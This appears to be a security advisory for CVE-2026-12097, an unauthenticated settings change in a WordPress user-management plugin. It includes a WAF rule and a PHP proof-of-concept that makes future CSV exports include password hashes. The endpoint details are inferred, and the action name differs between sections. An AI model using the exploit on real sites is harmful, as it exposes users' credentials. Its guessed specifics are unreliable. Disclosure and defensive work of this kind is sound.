Atomic Edge analysis of CVE-2026-12097 (metadata-based): This vulnerability affects the User Management plugin for WordPress, versions 1.2 and earlier. It allows unauthenticated attackers to bypass authorization checks and modify the plugin’s export field configuration stored in the `uiewp_export_field` option. The CVSS score is 5.3 (Medium) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N.
Root Cause: The CWE-862 classification (Missing Authorization) indicates the plugin fails to verify that a user has the necessary capabilities before processing requests. Based on the description, the plugin likely registers an AJAX handler or REST API endpoint that modifies the `uiewp_export_field` option without checking for a nonce or `manage_options` capability. This is inferred from the description and CWE; no code diff confirms the exact endpoint, but the pattern matches standard WordPress plugin vulnerabilities where admin actions are exposed via `wp_ajax_` hooks without capability checks.
Exploitation: An attacker can send a direct POST request to `/wp-admin/admin-ajax.php` with an action parameter like `user_management_update_export_fields` (inferred from the plugin slug and common naming conventions). The request would include the new field configuration data, such as `field_map[user_pass]=password_hash` to include password hashes in CSV exports. No authentication or nonce is required because the plugin does not verify authorization. The attacker can set the `uiewp_export_field` option to control which user fields appear in CSV exports, potentially including sensitive fields like password hashes, user emails, and other PII.
Remediation: The fix must add proper authorization checks to all endpoints that modify plugin options. For WordPress AJAX handlers, this means checking `current_user_can(‘manage_options’)` before processing the request. Additionally, the plugin should validate nonces using `check_ajax_referer()` or `wp_verify_nonce()` to prevent cross-site request forgery. The option update function should also sanitize and validate the input data.
Impact: An attacker could modify the export configuration to include password hashes in CSV exports. If an administrator subsequently exports user data, the exported CSV would contain password hashes. An attacker with access to that export would gain password hashes, which could be cracked offline. This compromises all user accounts. The same configuration change controls column mapping for imports, which could lead to data corruption or injection if users import malformed CSV data with attacker-controlled mappings.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-12097 (metadata-based)
# Blocks unauthenticated modification of the User Management plugin export fields via AJAX.
# The rule matches the specific AJAX action and requires specific parameter names.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202612097,phase:2,deny,status:403,chain,msg:'CVE-2026-12097 - User Management plugin missing authorization via AJAX',severity:'CRITICAL',tag:'CVE-2026-12097',tag:'wordpress',tag:'user-management'"
SecRule ARGS_POST:action "@streq uiewp_update_export_fields" "chain"
SecRule ARGS_POST:field_map "@rx user_pass"
"t:none,chain"
SecRule ARGS_POST:export_columns "@rx user_pass" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-12097 - User Management <= 1.2 - Missing Authorization to Unauthenticated Plugin Settings Modification
/*
* This proof-of-concept targets the missing authorization vulnerability in the User Management plugin.
* Assumption: The vulnerable AJAX action is 'uiewp_update_export_fields' based on the plugin slug 'user-management'
* and common WordPress plugin naming patterns. The option stored is 'uiewp_export_field'.
*/
$target_url = 'http://target-wordpress-site.com'; // CHANGE THIS
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
// Craft payload to include password hashes in CSV exports
$payload = [
'action' => 'uiewp_update_export_fields',
'field_map' => [
'user_login' => 'Username',
'user_pass' => 'PasswordHash', // Include password hashes
'user_email' => 'Email',
'display_name' => 'Display Name',
'user_registered' => 'Registered Date'
],
'export_columns' => [
'user_login',
'user_pass',
'user_email',
'display_name',
'user_registered'
]
];
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($payload),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => false,
CURLOPT_SSL_VERIFYPEER => false, // Disable for testing; enable in production
CURLOPT_SSL_VERIFYHOST => false
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: " . $http_code . "n";
echo "Response Body:n" . $response . "nn";
if ($http_code == 200) {
echo "[+] Exploit likely successful. The plugin's export field configuration has been modified.n";
echo "[+] Future CSV exports will now include password hashes.n";
} else {
echo "[-] Exploit may have failed. Check if the AJAX action is correct or if the plugin version is patched.n";
}
